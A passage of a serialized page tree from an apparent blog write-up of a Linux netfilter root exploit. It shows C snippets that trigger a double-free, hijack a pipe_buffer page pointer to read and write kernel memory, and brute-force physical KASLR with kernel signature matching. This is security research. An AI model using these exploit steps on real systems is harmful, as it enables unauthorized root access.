48",{"type":21,"tag":198,"props":58467,"children":58468},{"style":211},[58469],{"type":27,"value":828},{"type":21,"tag":198,"props":58471,"children":58472},{"style":2540},[58473],{"type":27,"value":3482},{"type":21,"tag":198,"props":58475,"children":58476},{"style":211},[58477],{"type":27,"value":1470},{"type":21,"tag":198,"props":58479,"children":58480},{"class":200,"line":494},[58481,58485,58489,58493,58497],{"type":21,"tag":198,"props":58482,"children":58483},{"style":226},[58484],{"type":27,"value":58413},{"type":21,"tag":198,"props":58486,"children":58487},{"style":211},[58488],{"type":27,"value":14564},{"type":21,"tag":198,"props":58490,"children":58491},{"style":226},[58492],{"type":27,"value":58422},{"type":21,"tag":198,"props":58494,"children":58495},{"style":683},[58496],{"type":27,"value":979},{"type":21,"tag":198,"props":58498,"children":58499},{"style":211},[58500],{"type":27,"value":58501}," MTYPE_SECONDARY;\n",{"type":21,"tag":198,"props":58503,"children":58504},{"class":200,"line":515},[58505,58509,58513,58517,58521,58526,58530,58534,58538,58542],{"type":21,"tag":198,"props":58506,"children":58507},{"style":698},[58508],{"type":27,"value":58439},{"type":21,"tag":198,"props":58510,"children":58511},{"style":211},[58512],{"type":27,"value":706},{"type":21,"tag":198,"props":58514,"children":58515},{"style":226},[58516],{"type":27,"value":58243},{"type":21,"tag":198,"props":58518,"children":58519},{"style":211},[58520],{"type":27,"value":58452},{"type":21,"tag":198,"props":58522,"children":58523},{"style":2540},[58524],{"type":27,"value":58525},"1024",{"type":21,"tag":198,"props":58527,"children":58528},{"style":683},[58529],{"type":27,"value":51631},{"type":21,"tag":198,"props":58531,"children":58532},{"style":2540},[58533],{"type":27,"value":58465},{"type":21,"tag":198,"props":58535,"children":58536},{"style":211},[58537],{"type":27,"value":828},{"type":21,"tag":198,"props":58539,"children":58540},{"style":2540},[58541],{"type":27,"value":3482},{"type":21,"tag":198,"props":58543,"children":58544},{"style":211},[58545],{"type":27,"value":1470},{"type":21,"tag":198,"props":58547,"children":58548},{"class":200,"line":4484},[58549],{"type":21,"tag":198,"props":58550,"children":58551},{"style":211},[58552],{"type":27,"value":880},{"type":21,"tag":198,"props":58554,"children":58555},{"class":200,"line":4493},[58556],{"type":21,"tag":198,"props":58557,"children":58558},{"style":1233},[58559],{"type":27,"value":58560}," // Prepare evil msg\n",{"type":21,"tag":198,"props":58562,"children":58563},{"class":200,"line":4561},[58564,58568,58573,58577,58581,58585,58589,58593],{"type":21,"tag":198,"props":58565,"children":58566},{"style":249},[58567],{"type":27,"value":19871},{"type":21,"tag":198,"props":58569,"children":58570},{"style":211},[58571],{"type":27,"value":58572}," evilqid ",{"type":21,"tag":198,"props":58574,"children":58575},{"style":683},[58576],{"type":27,"value":3174},{"type":21,"tag":198,"props":58578,"children":58579},{"style":698},[58580],{"type":27,"value":58208},{"type":21,"tag":198,"props":58582,"children":58583},{"style":211},[58584],{"type":27,"value":58213},{"type":21,"tag":198,"props":58586,"children":58587},{"style":2540},[58588],{"type":27,"value":58218},{"type":21,"tag":198,"props":58590,"children":58591},{"style":683},[58592],{"type":27,"value":5081},{"type":21,"tag":198,"props":58594,"children":58595},{"style":211},[58596],{"type":27,"value":58227},{"type":21,"tag":198,"props":58598,"children":58599},{"class":200,"line":4569},[58600,58604,58609,58613,58617],{"type":21,"tag":198,"props":58601,"children":58602},{"style":640},[58603],{"type":27,"value":643},{"type":21,"tag":198,"props":58605,"children":58606},{"style":211},[58607],{"type":27,"value":58608}," (evilqid ",{"type":21,"tag":198,"props":58610,"children":58611},{"style":683},[58612],{"type":27,"value":3159},{"type":21,"tag":198,"props":58614,"children":58615},{"style":2540},[58616],{"type":27,"value":3855},{"type":21,"tag":198,"props":58618,"children":58619},{"style":211},[58620],{"type":27,"value":789},{"type":21,"tag":198,"props":58622,"children":58623},{"class":200,"line":4599},[58624],{"type":21,"tag":198,"props":58625,"children":58626},{"style":211},[58627],{"type":27,"value":29989},{"type":21,"tag":198,"props":58629,"children":58630},{"class":200,"line":4607},[58631,58636,58640,58644],{"type":21,"tag":198,"props":58632,"children":58633},{"style":698},[58634],{"type":27,"value":58635}," perror",{"type":21,"tag":198,"props":58637,"children":58638},{"style":211},[58639],{"type":27,"value":706},{"type":21,"tag":198,"props":58641,"children":58642},{"style":205},[58643],{"type":27,"value":58283},{"type":21,"tag":198,"props":58645,"children":58646},{"style":211},[58647],{"type":27,"value":1470},{"type":21,"tag":198,"props":58649,"children":58650},{"class":200,"line":4638},[58651],{"type":21,"tag":198,"props":58652,"children":58653},{"style":211},[58654],{"type":27,"value":880},{"type":21,"tag":198,"props":58656,"children":58657},{"class":200,"line":4646},[58658],{"type":21,"tag":198,"props":58659,"children":58660},{"style":211},[58661],{"type":27,"value":58662},"[...] // trigger double-free in kmalloc-256\n",{"type":21,"tag":59,"props":58664,"children":58666},{"id":58665},"using-pipe_buffer-page-pointer-for-physical-readwrite",[58667],{"type":27,"value":58668},"Using pipe_buffer->page pointer for physical read/write",{"type":21,"tag":30,"props":58670,"children":58671},{},[58672,58674,58680,58681,58687,58688,58694,58696,58702],{"type":27,"value":58673},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":21,"tag":194,"props":58675,"children":58677},{"className":58676},[],[58678],{"type":27,"value":58679},"kmalloc-1k",{"type":27,"value":11801},{"type":21,"tag":194,"props":58682,"children":58684},{"className":58683},[],[58685],{"type":27,"value":58686},"overlap pipe_buffer",{"type":27,"value":22297},{"type":21,"tag":194,"props":58689,"children":58691},{"className":58690},[],[58692],{"type":27,"value":58693},"skbuf",{"type":27,"value":58695}," data to control the ",{"type":21,"tag":194,"props":58697,"children":58699},{"className":58698},[],[58700],{"type":27,"value":58701},"page",{"type":27,"value":58703}," field.",{"type":21,"tag":30,"props":58705,"children":58706},{},[58707,58708,58713,58715,58721,58723],{"type":27,"value":534},{"type":21,"tag":194,"props":58709,"children":58711},{"className":58710},[],[58712],{"type":27,"value":58701},{"type":27,"value":58714}," field is a pointer into ",{"type":21,"tag":194,"props":58716,"children":58718},{"className":58717},[],[58719],{"type":27,"value":58720},"vmemmap_base",{"type":27,"value":58722},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":21,"tag":1376,"props":58724,"children":58726},{"alt":50954,"src":58725},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":21,"tag":30,"props":58728,"children":58729},{},[58730,58732,58737],{"type":27,"value":58731},"This now allows us to navigate the ",{"type":21,"tag":194,"props":58733,"children":58735},{"className":58734},[],[58736],{"type":27,"value":58720},{"type":27,"value":58738}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":21,"tag":59,"props":58740,"children":58742},{"id":58741},"bruteforce-physical-kernel-base",[58743],{"type":27,"value":58744},"Bruteforce physical kernel base",{"type":21,"tag":30,"props":58746,"children":58747},{},[58748,58750,58756,58758,58763,58765,58771],{"type":27,"value":58749},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":21,"tag":194,"props":58751,"children":58753},{"className":58752},[],[58754],{"type":27,"value":58755},"modprobe_path",{"type":27,"value":58757},". Keep in mind that simply searching page by page from the start of ",{"type":21,"tag":194,"props":58759,"children":58761},{"className":58760},[],[58762],{"type":27,"value":58720},{"type":27,"value":58764}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":21,"tag":194,"props":58766,"children":58768},{"className":58767},[],[58769],{"type":27,"value":58770},"PHYSICAL_ALIGN",{"type":27,"value":58772}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":21,"tag":187,"props":58774,"children":58776},{"className":29912,"code":58775,"language":29914,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n uint8_t data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[58777],{"type":21,"tag":194,"props":58778,"children":58779},{"__ignoreMap":7},[58780,58787,58795,58803,58827,58860,58880,58920,58927,58971,59005,59032,59068,59075,59121,59128,59158,59171,59236,59243,59255,59263,59270,59277,59303,59310,59330,59342,59349,59356,59363],{"type":21,"tag":198,"props":58781,"children":58782},{"class":200,"line":201},[58783],{"type":21,"tag":198,"props":58784,"children":58785},{"style":211},[58786],{"type":27,"value":11127},{"type":21,"tag":198,"props":58788,"children":58789},{"class":200,"line":217},[58790],{"type":21,"tag":198,"props":58791,"children":58792},{"style":211},[58793],{"type":27,"value":58794},"// Bruteforce phys-KASLR\n",{"type":21,"tag":198,"props":58796,"children":58797},{"class":200,"line":236},[58798],{"type":21,"tag":198,"props":58799,"children":58800},{"style":211},[58801],{"type":27,"value":58802}," uint64_t kernel_base;\n",{"type":21,"tag":198,"props":58804,"children":58805},{"class":200,"line":260},[58806,58810,58815,58819,58823],{"type":21,"tag":198,"props":58807,"children":58808},{"style":249},[58809],{"type":27,"value":47231},{"type":21,"tag":198,"props":58811,"children":58812},{"style":211},[58813],{"type":27,"value":58814}," found ",{"type":21,"tag":198,"props":58816,"children":58817},{"style":683},[58818],{"type":27,"value":3174},{"type":21,"tag":198,"props":58820,"children":58821},{"style":249},[58822],{"type":27,"value":9868},{"type":21,"tag":198,"props":58824,"children":58825},{"style":211},[58826],{"type":27,"value":1483},{"type":21,"tag":198,"props":58828,"children":58829},{"class":200,"line":281},[58830,58835,58839,58844,58848,58852,58856],{"type":21,"tag":198,"props":58831,"children":58832},{"style":249},[58833],{"type":27,"value":58834}," uint8_t",{"type":21,"tag":198,"props":58836,"children":58837},{"style":226},[58838],{"type":27,"value":15909},{"type":21,"tag":198,"props":58840,"children":58841},{"style":211},[58842],{"type":27,"value":58843},"[PAGE_SIZE] ",{"type":21,"tag":198,"props":58845,"children":58846},{"style":683},[58847],{"type":27,"value":3174},{"type":21,"tag":198,"props":58849,"children":58850},{"style":211},[58851],{"type":27,"value":45975},{"type":21,"tag":198,"props":58853,"children":58854},{"style":2540},[58855],{"type":27,"value":3482},{"type":21,"tag":198,"props":58857,"children":58858},{"style":211},[58859],{"type":27,"value":2357},{"type":21,"tag":198,"props":58861,"children":58862},{"class":200,"line":302},[58863,58867,58871,58876],{"type":21,"tag":198,"props":58864,"children":58865},{"style":698},[58866],{"type":27,"value":55883},{"type":21,"tag":198,"props":58868,"children":58869},{"style":211},[58870],{"type":27,"value":706},{"type":21,"tag":198,"props":58872,"children":58873},{"style":205},[58874],{"type":27,"value":58875},"\"[*] bruteforce phys-KASLR\"",{"type":21,"tag":198,"props":58877,"children":58878},{"style":211},[58879],{"type":27,"value":1470},{"type":21,"tag":198,"props":58881,"children":58882},{"class":200,"line":323},[58883,58887,58891,58895,58899,58903,58907,58912,58916],{"type":21,"tag":198,"props":58884,"children":58885},{"style":640},[58886],{"type":27,"value":3840},{"type":21,"tag":198,"props":58888,"children":58889},{"style":211},[58890],{"type":27,"value":648},{"type":21,"tag":198,"props":58892,"children":58893},{"style":249},[58894],{"type":27,"value":56011},{"type":21,"tag":198,"props":58896,"children":58897},{"style":211},[58898],{"type":27,"value":54920},{"type":21,"tag":198,"props":58900,"children":58901},{"style":683},[58902],{"type":27,"value":3174},{"type":21,"tag":198,"props":58904,"children":58905},{"style":2540},[58906],{"type":27,"value":3855},{"type":21,"tag":198,"props":58908,"children":58909},{"style":211},[58910],{"type":27,"value":58911},";; i",{"type":21,"tag":198,"props":58913,"children":58914},{"style":683},[58915],{"type":27,"value":51645},{"type":21,"tag":198,"props":58917,"children":58918},{"style":211},[58919],{"type":27,"value":789},{"type":21,"tag":198,"props":58921,"children":58922},{"class":200,"line":344},[58923],{"type":21,"tag":198,"props":58924,"children":58925},{"style":211},[58926],{"type":27,"value":29989},{"type":21,"tag":198,"props":58928,"children":58929},{"class":200,"line":365},[58930,58935,58939,58944,58948,58953,58957,58962,58966],{"type":21,"tag":198,"props":58931,"children":58932},{"style":211},[58933],{"type":27,"value":58934}," kernel_base ",{"type":21,"tag":198,"props":58936,"children":58937},{"style":683},[58938],{"type":27,"value":3174},{"type":21,"tag":198,"props":58940,"children":58941},{"style":2540},[58942],{"type":27,"value":58943}," 0x40",{"type":21,"tag":198,"props":58945,"children":58946},{"style":683},[58947],{"type":27,"value":10626},{"type":21,"tag":198,"props":58949,"children":58950},{"style":211},[58951],{"type":27,"value":58952}," ((PHYSICAL_ALIGN ",{"type":21,"tag":198,"props":58954,"children":58955},{"style":683},[58956],{"type":27,"value":5383},{"type":21,"tag":198,"props":58958,"children":58959},{"style":211},[58960],{"type":27,"value":58961}," i) ",{"type":21,"tag":198,"props":58963,"children":58964},{"style":683},[58965],{"type":27,"value":13567},{"type":21,"tag":198,"props":58967,"children":58968},{"style":211},[58969],{"type":27,"value":58970}," PAGE_SHIFT);\n",{"type":21,"tag":198,"props":58972,"children":58973},{"class":200,"line":386},[58974,58979,58983,58987,58991,58996,59000],{"type":21,"tag":198,"props":58975,"children":58976},{"style":226},[58977],{"type":27,"value":58978}," pipebuf",{"type":21,"tag":198,"props":58980,"children":58981},{"style":211},[58982],{"type":27,"value":14564},{"type":21,"tag":198,"props":58984,"children":58985},{"style":226},[58986],{"type":27,"value":58701},{"type":21,"tag":198,"props":58988,"children":58989},{"style":683},[58990],{"type":27,"value":979},{"type":21,"tag":198,"props":58992,"children":58993},{"style":211},[58994],{"type":27,"value":58995}," vmemmap_base ",{"type":21,"tag":198,"props":58997,"children":58998},{"style":683},[58999],{"type":27,"value":5193},{"type":21,"tag":198,"props":59001,"children":59002},{"style":211},[59003],{"type":27,"value":59004}," kernel_base;\n",{"type":21,"tag":198,"props":59006,"children":59007},{"class":200,"line":408},[59008,59012,59016,59020,59024,59028],{"type":21,"tag":198,"props":59009,"children":59010},{"style":226},[59011],{"type":27,"value":58978},{"type":21,"tag":198,"props":59013,"children":59014},{"style":211},[59015],{"type":27,"value":14564},{"type":21,"tag":198,"props":59017,"children":59018},{"style":226},[59019],{"type":27,"value":14708},{"type":21,"tag":198,"props":59021,"children":59022},{"style":683},[59023],{"type":27,"value":979},{"type":21,"tag":198,"props":59025,"children":59026},{"style":2540},[59027],{"type":27,"value":3855},{"type":21,"tag":198,"props":59029,"children":59030},{"style":211},[59031],{"type":27,"value":1483},{"type":21,"tag":198,"props":59033,"children":59034},{"class":200,"line":429},[59035,59039,59043,59047,59051,59056,59060,59064],{"type":21,"tag":198,"props":59036,"children":59037},{"style":226},[59038],{"type":27,"value":58978},{"type":21,"tag":198,"props":59040,"children":59041},{"style":211},[59042],{"type":27,"value":14564},{"type":21,"tag":198,"props":59044,"children":59045},{"style":226},[59046],{"type":27,"value":9950},{"type":21,"tag":198,"props":59048,"children":59049},{"style":683},[59050],{"type":27,"value":979},{"type":21,"tag":198,"props":59052,"children":59053},{"style":211},[59054],{"type":27,"value":59055}," PAGE_SIZE ",{"type":21,"tag":198,"props":59057,"children":59058},{"style":683},[59059],{"type":27,"value":5193},{"type":21,"tag":198,"props":59061,"children":59062},{"style":2540},[59063],{"type":27,"value":5335},{"type":21,"tag":198,"props":59065,"children":59066},{"style":211},[59067],{"type":27,"value":1483},{"type":21,"tag":198,"props":59069,"children":59070},{"class":200,"line":450},[59071],{"type":21,"tag":198,"props":59072,"children":59073},{"style":211},[59074],{"type":27,"value":11127},{"type":21,"tag":198,"props":59076,"children":59077},{"class":200,"line":468},[59078,59083,59087,59091,59095,59099,59104,59108,59113,59117],{"type":21,"tag":198,"props":59079,"children":59080},{"style":211},[59081],{"type":27,"value":59082}," for (",{"type":21,"tag":198,"props":59084,"children":59085},{"style":249},[59086],{"type":27,"value":19841},{"type":21,"tag":198,"props":59088,"children":59089},{"style":226},[59090],{"type":27,"value":9434},{"type":21,"tag":198,"props":59092,"children":59093},{"style":683},[59094],{"type":27,"value":979},{"type":21,"tag":198,"props":59096,"children":59097},{"style":2540},[59098],{"type":27,"value":3855},{"type":21,"tag":198,"props":59100,"children":59101},{"style":211},[59102],{"type":27,"value":59103},"; j ",{"type":21,"tag":198,"props":59105,"children":59106},{"style":683},[59107],{"type":27,"value":3159},{"type":21,"tag":198,"props":59109,"children":59110},{"style":211},[59111],{"type":27,"value":59112}," PIPE_SPRAY; j",{"type":21,"tag":198,"props":59114,"children":59115},{"style":683},[59116],{"type":27,"value":51645},{"type":21,"tag":198,"props":59118,"children":59119},{"style":211},[59120],{"type":27,"value":789},{"type":21,"tag":198,"props":59122,"children":59123},{"class":200,"line":477},[59124],{"type":21,"tag":198,"props":59125,"children":59126},{"style":211},[59127],{"type":27,"value":32446},{"type":21,"tag":198,"props":59129,"children":59130},{"class":200,"line":494},[59131,59136,59140,59144,59149,59153],{"type":21,"tag":198,"props":59132,"children":59133},{"style":698},[59134],{"type":27,"value":59135}," memset",{"type":21,"tag":198,"props":59137,"children":59138},{"style":211},[59139],{"type":27,"value":706},{"type":21,"tag":198,"props":59141,"children":59142},{"style":683},[59143],{"type":27,"value":3917},{"type":21,"tag":198,"props":59145,"children":59146},{"style":211},[59147],{"type":27,"value":59148},"data, ",{"type":21,"tag":198,"props":59150,"children":59151},{"style":2540},[59152],{"type":27,"value":3482},{"type":21,"tag":198,"props":59154,"children":59155},{"style":211},[59156],{"type":27,"value":59157},", PAGE_SIZE);\n",{"type":21,"tag":198,"props":59159,"children":59160},{"class":200,"line":515},[59161,59166],{"type":21,"tag":198,"props":59162,"children":59163},{"style":249},[59164],{"type":27,"value":59165}," int",{"type":21,"tag":198,"props":59167,"children":59168},{"style":211},[59169],{"type":27,"value":59170}," count;\n",{"type":21,"tag":198,"props":59172,"children":59173},{"class":200,"line":4484},[59174,59179,59184,59188,59193,59197,59202,59207,59211,59215,59219,59224,59228,59232],{"type":21,"tag":198,"props":59175,"children":59176},{"style":640},[59177],{"type":27,"value":59178}," if",{"type":21,"tag":198,"props":59180,"children":59181},{"style":211},[59182],{"type":27,"value":59183}," (count ",{"type":21,"tag":198,"props":59185,"children":59186},{"style":683},[59187],{"type":27,"value":3174},{"type":21,"tag":198,"props":59189,"children":59190},{"style":698},[59191],{"type":27,"value":59192}," read",{"type":21,"tag":198,"props":59194,"children":59195},{"style":211},[59196],{"type":27,"value":706},{"type":21,"tag":198,"props":59198,"children":59199},{"style":226},[59200],{"type":27,"value":59201},"pfd",{"type":21,"tag":198,"props":59203,"children":59204},{"style":211},[59205],{"type":27,"value":59206},"[j][",{"type":21,"tag":198,"props":59208,"children":59209},{"style":2540},[59210],{"type":27,"value":3482},{"type":21,"tag":198,"props":59212,"children":59213},{"style":211},[59214],{"type":27,"value":23853},{"type":21,"tag":198,"props":59216,"children":59217},{"style":683},[59218],{"type":27,"value":3917},{"type":21,"tag":198,"props":59220,"children":59221},{"style":211},[59222],{"type":27,"value":59223},"data, PAGE_SIZE) ",{"type":21,"tag":198,"props":59225,"children":59226},{"style":683},[59227],{"type":27,"value":3159},{"type":21,"tag":198,"props":59229,"children":59230},{"style":2540},[59231],{"type":27,"value":3855},{"type":21,"tag":198,"props":59233,"children":59234},{"style":211},[59235],{"type":27,"value":789},{"type":21,"tag":198,"props":59237,"children":59238},{"class":200,"line":4493},[59239],{"type":21,"tag":198,"props":59240,"children":59241},{"style":211},[59242],{"type":27,"value":32482},{"type":21,"tag":198,"props":59244,"children":59245},{"class":200,"line":4561},[59246,59251],{"type":21,"tag":198,"props":59247,"children":59248},{"style":640},[59249],{"type":27,"value":59250}," continue",{"type":21,"tag":198,"props":59252,"children":59253},{"style":211},[59254],{"type":27,"value":1483},{"type":21,"tag":198,"props":59256,"children":59257},{"class":200,"line":4569},[59258],{"type":21,"tag":198,"props":59259,"children":59260},{"style":211},[59261],{"type":27,"value":59262}," }\n",{"type":21,"tag":198,"props":59264,"children":59265},{"class":200,"line":4599},[59266],{"type":21,"tag":198,"props":59267,"children":59268},{"style":211},[59269],{"type":27,"value":11127},{"type":21,"tag":198,"props":59271,"children":59272},{"class":200,"line":4607},[59273],{"type":21,"tag":198,"props":59274,"children":59275},{"emptyLinePlaceholder":16},[59276],{"type":27,"value":1283},{"type":21,"tag":198,"props":59278,"children":59279},{"class":200,"line":4638},[59280,59285,59290,59294,59298],{"type":21,"tag":198,"props":59281,"children":59282},{"style":211},[59283],{"type":27,"value":59284}," if (",{"type":21,"tag":198,"props":59286,"children":59287},{"style":1966},[59288],{"type":27,"value":59289},"is_kernel_base",{"type":21,"tag":198,"props":59291,"children":59292},{"style":211},[59293],{"type":27,"value":706},{"type":21,"tag":198,"props":59295,"children":59296},{"style":1966},[59297],{"type":27,"value":4508},{"type":21,"tag":198,"props":59299,"children":59300},{"style":211},[59301],{"type":27,"value":59302},")) // [1] identify kernel base\n",{"type":21,"tag":198,"props":59304,"children":59305},{"class":200,"line":4646},[59306],{"type":21,"tag":198,"props":59307,"children":59308},{"style":211},[59309],{"type":27,"value":32482},{"type":21,"tag":198,"props":59311,"children":59312},{"class":200,"line":4706},[59313,59318,59322,59326],{"type":21,"tag":198,"props":59314,"children":59315},{"style":211},[59316],{"type":27,"value":59317}," found ",{"type":21,"tag":198,"props":59319,"children":59320},{"style":683},[59321],{"type":27,"value":3174},{"type":21,"tag":198,"props":59323,"children":59324},{"style":249},[59325],{"type":27,"value":252},{"type":21,"tag":198,"props":59327,"children":59328},{"style":211},[59329],{"type":27,"value":1483},{"type":21,"tag":198,"props":59331,"children":59332},{"class":200,"line":9857},[59333,59338],{"type":21,"tag":198,"props":59334,"children":59335},{"style":640},[59336],{"type":27,"value":59337}," break",{"type":21,"tag":198,"props":59339,"children":59340},{"style":211},[59341],{"type":27,"value":1483},{"type":21,"tag":198,"props":59343,"children":59344},{"class":200,"line":9875},[59345],{"type":21,"tag":198,"props":59346,"children":59347},{"style":211},[59348],{"type":27,"value":59262},{"type":21,"tag":198,"props":59350,"children":59351},{"class":200,"line":9920},[59352],{"type":21,"tag":198,"props":59353,"children":59354},{"style":211},[59355],{"type":27,"value":1160},{"type":21,"tag":198,"props":59357,"children":59358},{"class":200,"line":10026},[59359],{"type":21,"tag":198,"props":59360,"children":59361},{"emptyLinePlaceholder":16},[59362],{"type":27,"value":1283},{"type":21,"tag":198,"props":59364,"children":59365},{"class":200,"line":24302},[59366],{"type":21,"tag":198,"props":59367,"children":59368},{"style":211},[59369],{"type":27,"value":11127},{"type":21,"tag":30,"props":59371,"children":59372},{},[59373,59375,59379,59381,59387,59389,59393],{"type":27,"value":59374},"Notice that at ",{"type":21,"tag":198,"props":59376,"children":59377},{},[59378],{"type":27,"value":134},{"type":27,"value":59380}," we call the ",{"type":21,"tag":194,"props":59382,"children":59384},{"className":59383},[],[59385],{"type":27,"value":59386},"is_kernel_base()",{"type":27,"value":59388}," function. This is a function based on lau's exploit ",{"type":21,"tag":198,"props":59390,"children":59391},{},[59392],{"type":27,"value":18911},{"type":27,"value":59394}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":21,"tag":187,"props":59396,"children":59398},{"className":29912,"code":59397,"language":29914,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[59399],{"type":21,"tag":194,"props":59400,"children":59401},{"__ignoreMap":7},[59402,59409,59439,59446,59454,59461,59469,59540,59602,59617,59624,59632,59700,59762,59823,59884,59946,60008,60069,60130,60191,60252,60313,60328,60335,60350,60357],{"type":21,"tag":198,"props":59403,"children":59404},{"class":200,"line":201},[59405],{"type":21,"tag":198,"props":59406,"children":59407},{"style":211},[59408],{"type":27,"value":11127},{"type":21,"tag":198,"props":59410,"children":59411},{"class":200,"line":217},[59412,59417,59422,59427,59431,59435],{"type":21,"tag":198,"props":59413,"children":59414},{"style":211},[59415],{"type":27,"value":59416},"static bool is_kernel_base(",{"type":21,"tag":198,"props":59418,"children":59419},{"style":249},[59420],{"type":27,"value":59421},"unsigned",{"type":21,"tag":198,"props":59423,"children":59424},{"style":249},[59425],{"type":27,"value":59426}," char",{"type":21,"tag":198,"props":59428,"children":59429},{"style":249},[59430],{"type":27,"value":10626},{"type":21,"tag":198,"props":59432,"children":59433},{"style":226},[59434],{"type":27,"value":31486},{"type":21,"tag":198,"props":59436,"children":59437},{"style":211},[59438],{"type":27,"value":789},{"type":21,"tag":198,"props":59440,"children":59441},{"class":200,"line":236},[59442],{"type":21,"tag":198,"props":59443,"children":59444},{"style":211},[59445],{"type":27,"value":11689},{"type":21,"tag":198,"props":59447,"children":59448},{"class":200,"line":260},[59449],{"type":21,"tag":198,"props":59450,"children":59451},{"style":1233},[59452],{"type":27,"value":59453}," // thanks lau :)\n",{"type":21,"tag":198,"props":59455,"children":59456},{"class":200,"line":281},[59457],{"type":21,"tag":198,"props":59458,"children":59459},{"emptyLinePlaceholder":16},[59460],{"type":27,"value":1283},{"type":21,"tag":198,"props":59462,"children":59463},{"class":200,"line":302},[59464],{"type":21,"tag":198,"props":59465,"children":59466},{"style":1233},[59467],{"type":27,"value":59468}," // get-sig kernel_runtime_1\n",{"type":21,"tag":198,"props":59470,"children":59471},{"class":200,"line":323},[59472,59476,59480,59485,59490,59494,59499,59503,59507,59512,59516,59520,59524,59528,59532,59536],{"type":21,"tag":198,"props":59473,"children":59474},{"style":640},[59475],{"type":27,"value":643},{"type":21,"tag":198,"props":59477,"children":59478},{"style":211},[59479],{"type":27,"value":648},{"type":21,"tag":198,"props":59481,"children":59482},{"style":698},[59483],{"type":27,"value":59484},"memcmp",{"type":21,"tag":198,"props":59486,"children":59487},{"style":211},[59488],{"type":27,"value":59489},"(addr ",{"type":21,"tag":198,"props":59491,"children":59492},{"style":683},[59493],{"type":27,"value":5193},{"type":21,"tag":198,"props":59495,"children":59496},{"style":2540},[59497],{"type":27,"value":59498}," 0x0",{"type":21,"tag":198,"props":59500,"children":59501},{"style":211},[59502],{"type":27,"value":828},{"type":21,"tag":198,"props":59504,"children":59505},{"style":205},[59506],{"type":27,"value":20854},{"type":21,"tag":198,"props":59508,"children":59509},{"style":1457},[59510],{"type":27,"value":59511},"\\x48\\x8d\\x25\\x51\\x3f",{"type":21,"tag":198,"props":59513,"children":59514},{"style":205},[59515],{"type":27,"value":20854},{"type":21,"tag":198,"props":59517,"children":59518},{"style":211},[59519],{"type":27,"value":828},{"type":21,"tag":198,"props":59521,"children":59522},{"style":2540},[59523],{"type":27,"value":18911},{"type":21,"tag":198,"props":59525,"children":59526},{"style":211},[59527],{"type":27,"value":1541},{"type":21,"tag":198,"props":59529,"children":59530},{"style":683},[59531],{"type":27,"value":9386},{"type":21,"tag":198,"props":59533,"children":59534},{"style":2540},[59535],{"type":27,"value":3855},{"type":21,"tag":198,"props":59537,"children":59538},{"style":683},[59539],{"type":27,"value":53060},{"type":21,"tag":198,"props":59541,"children":59542},{"class":200,"line":344},[59543,59548,59552,59556,59561,59565,59569,59574,59578,59582,59586,59590,59594,59598],{"type":21,"tag":198,"props":59544,"children":59545},{"style":698},[59546],{"type":27,"value":59547}," memcmp",{"type":21,"tag":198,"props":59549,"children":59550},{"style":211},[59551],{"type":27,"value":59489},{"type":21,"tag":198,"props":59553,"children":59554},{"style":683},[59555],{"type":27,"value":5193},{"type":21,"tag":198,"props":59557,"children":59558},{"style":2540},[59559],{"type":27,"value":59560}," 